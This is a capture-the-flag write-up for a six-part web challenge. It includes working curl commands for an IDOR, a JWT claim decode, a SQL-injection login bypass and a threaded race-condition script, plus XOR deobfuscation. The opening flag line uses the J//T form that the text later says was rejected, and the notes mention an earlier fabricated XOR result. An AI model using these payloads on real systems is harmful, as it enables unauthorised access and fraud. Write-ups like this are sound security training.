d4rk{r0b0t_1D0R_J//T_5Q1_T0(T0U_P0LYF1LL}
Summary
https://web-basics-chall.onrender.com/ ("The old road", a small product-store app) is
an anthology of six classic web primitives. Each primitive, when pulled off, makes the
server print one [n/6] <VALUE> label, and the six labels concatenated give the flag
(flag format: d4rk{frag1_frag2_frag3_frag4_frag5_frag6}). The six are, in order:
- r0b0t — a
robots.txtDisallowpointing at an unlinked staff notes page. - 1D0R —
GET /api/users/1returns the admin's record to any authenticated member. - J//T — every issued JWT carries a hidden
noteclaim containing the fragment (with literal backslashes, a stylised "W" — see the pitfalls). - 5Q1 — a SQL-injection auth bypass on
POST /api/staff-login. - T0(T0U — a one-coupon-per-user
POST /api/redeemhas a check-then-act race, so ~40 concurrent redeems over-credit the balance past the vault threshold. - P0LYF1LL —
/static/polyfill.min.jshides a guarded XOR "lantern" that only decrypts when a magic query parameter is present.
Nothing here is exotic; the challenge is deliberately "back to basics", and the only real trap is fragment 3's escaping.
Solution / Exploit
Target base URL used throughout: B=https://web-basics-chall.onrender.com.
1. [1/6] robots.txt -> /internal-notes/
1$ curl -s $B/robots.txt
2User-agent: *
3Disallow: /internal-notes/
/internal-notes/ is a staff-only page that prints the first label plus three hints for
the rest of the chain (the api gatekeeper, the "boarded shut" old ledger window, and
the "borrowed tongue hides a lantern ... whispered name and a whispered word"):
$ curl -s $B/internal-notes/
...
<p><strong>[1/6] r0b0t</strong></p>
<ul><li>Every soul of this house keeps a scroll at the gate named api, shelved by number.
The gatekeeper counts the numbers, not the faces.</li> ...
Fragment 1: r0b0t.
2. [2/6] IDOR on /api/users/1
The client app (/static/app.js) shows the API surface — register/login store a
session_token in localStorage and send it as Authorization: Bearer ...:
1async function sendRequest(path, { method = "GET", payload } = {}) {
2 const headers = {};
3 const token = localStorage.getItem(tokenStorageKey);
4 if (token) headers.Authorization = `Bearer ${token}`;
5 ...
6}
Registering a throwaway member and asking for user 1 returns the admin's record
(the "gatekeeper counts the numbers, not the faces"):
1$ curl -s -XPOST $B/api/register -H 'Content-Type: application/json' \
2 -d '{"username":"b2b1794694313","password":"pw123456"}'
3{"token":"eyJhbG...11p4","user":{"id":2921,"username":"b2b1794694313"}}
4
5$ curl -s $B/api/users/1 -H "Authorization: Bearer $TOK"
6{"id":1,"username":"admin","bio":"[2/6] 1D0R. The seal each member carries hath
7writing in its middle, for those who dare to look."}
Fragment 2: 1D0R (and the bio is the hint for fragment 3: the token's middle).
3. [3/6] the hidden JWT claim
Base64-decoding the payload of any freshly issued token reveals a note claim that
carries the third fragment:
{"sub":"2900","username":"b2b_1794693536","role":"member","note":"[3/6] J\/\/T",
"iat":1794693536,"exp":1794736736}
Fragment 3 as the server records it: J\/\/T — that is J, then one literal
backslash, /, one literal backslash, /, T. The \/\/ is a stylised W, so
the fragment spells JWT, but the backslashes are part of the value. The naive reading
J//T is rejected by the flag checker.
4. [4/6] SQLi auth bypass on /api/staff-login
The staff-login page's prose is the hint — "Speak thy foe's true name, then silence all
that follows it. The house forgets whatever comes after the forgetting-mark." — i.e. an
unparameterised query where -- comments out the password check:
1$ curl -s -XPOST $B/api/staff-login -H 'Content-Type: application/json' \
2 -d '{"username":"admin'"'"'--","password":"x"}'
3{"message":"Welcome back, admin.","secret":"[4/6] 5Q1"}
Fragment 4: 5Q1.
5. [5/6] TOCTOU race on /api/redeem -> /api/vault
The dashboard exposes a per-user coupon redeem and a vault endpoint. The redeem is a
classic check-then-act: it reads the balance, checks eligibility, then credits — with no
locking. Firing 40 concurrent redeems of WELCOME100 credits the account many times
over. From back2basics_artifacts/back2basics_race.py:
1def worker():
2 s, b = req("/api/redeem", "POST", tok, {"code": "WELCOME100"})
3 with lock: results.append((s, b))
4
5ths = [threading.Thread(target=worker) for _ in range(40)]
6for t in ths: t.start()
7for t in ths: t.join()
8
9ok = sum(1 for s, _ in results if s == 200)
10print("redeem 200s:", ok, "of", len(results))
11print("sample:", results[:3])
12
13print("ME:", req("/api/me", token=tok)[1])
14print("VAULT:", req("/api/vault", token=tok)[1])
Recorded run:
user: rc_1794693577 id: 2904
redeem 200s: 38 of 40
sample: [(200, '{"message":"Coupon redeemed.","balance":100}'),
(200, '{"message":"Coupon redeemed.","balance":200}'),
(200, '{"message":"Coupon redeemed.","balance":300}')]
ME: {"id":2904,"username":"rc_1794693577","bio":"New member.","balance":3800}
VAULT: {"fragment":"[5/6] T0(T0U"}
Fragment 5: T0(T0U.
6. [6/6] the obfuscated polyfill "lantern"
Every page loads /static/polyfill.min.js, an 18 KB javascript-obfuscator blob with a
base64 string table. Its final IIFE is a guarded XOR lantern: it reads a query
parameter, returns unless that parameter matches a secret, and otherwise XOR-decrypts a
base64 blob and writes the plaintext to #polyfill-debug (a <div> present in every
page footer). Deobfuscating the string table and the tail of the IIFE gives:
1var param = 'shimdebug'; // ?shimdebug=<secret>
2 secret = <string-table entry>; // w3bCh41n
3 key = <string-table entry>; // w3bCh41n
4 blob = <string-table entry>; // LAVNdTUUYV47aiRyJHg=
5 params = new URLSearchParams(window.location.search);
6if (params.get(param) !== secret) return; // guard
7var raw = atob(blob), out = '';
8for (var i = 0; i < raw.length; i++)
9 out += String.fromCharCode(raw.charCodeAt(i) ^ key.charCodeAt(i % key.length));
10console.log(out);
11var el = document.getElementById('polyfill-debug');
12el && (el.textContent = out);
The string table (captured by the decode harness
back2basics_artifacts/back2basics_deobf.js, which wraps decodeURIComponent and dumps
every argument) yields the three strings shimdebug, w3bCh41n, polyfill-debug
adjacent to each other, confirming the guard, the key and the sink. Decoding is a
straight XOR:
1>>> import base64
2>>> blob = base64.b64decode("LAVNdTUUYV47aiRyJHg=")
3>>> key = b"w3bCh41n"
4>>> bytes(b ^ key[i % len(key)] for i, b in enumerate(blob))
5b'[6/6] P0LYF1LL'
Fragment 6: P0LYF1LL. (The lead also confirmed this live in the browser by
neutralising the guard return so the real lantern executed.)
7. Assemble
r0b0t + 1D0R + J\/\/T + 5Q1 + T0(T0U + P0LYF1LL
Flag(s)
d4rk{r0b0t_1D0R_J\/\/T_5Q1_T0(T0U_P0LYF1LL}
(The \/\/ above is one literal backslash before each slash — the stylised
"W" the source RESULT-back2basics.md describes, and exactly what the JWT payload
claim carries: J \ / \ / T.)
Alternates
d4rk{r0b0t_1D0R_J//T_5Q1_T0(T0U_P0LYF1LL}— the "readable" form recorded in the artifactback2basics_EVIDENCE.txtunder## ASSEMBLED, and the form in the README cross-check table.RESULT-back2basics.mdrecords this as rejected: the third fragment must keep its backslashes.
Notes / Pitfalls
- Fragment 3 is the whole difficulty.
RESULT-back2basics.mdrecords an earlier agent flag usingJ//Tthat was rejected, and states explicitly: "the value contains literal BACKSLASHES: J \ / \ / T (the\/\/renders as a stylised 'W' => 'JWT'). The common readingJ//Tis WRONG and gets rejected." Copy the backslashes. - Fragment 6 had a fabricated XOR earlier. The shipped summary claimed
"base64 blob ^ key
w3bCh41n" produced the fragment, butRESULT-back2basics.mdrecords that as a fabricated XOR; the real value was only accepted after the actual lantern was executed (by neutralising the guardreturnand reading the#polyfill-debugoutput). The XOR above is the one the real lantern performs. - The lantern is inert by default. With no
?shimdebug=parameter the IIFE returns immediately, which is why the page looks clean and why a naivecurlof the file shows only obfuscated noise. - The staff-login hint is prose. "The house forgets whatever comes after the
forgetting-mark" is the
--comment; there is no clever parser to defeat. - The race is a race, not an arithmetic bug. The 200s are inconsistent (38 of 40 in the recorded run) — that is the signature of check-then-act, not of a repeatable double-credit.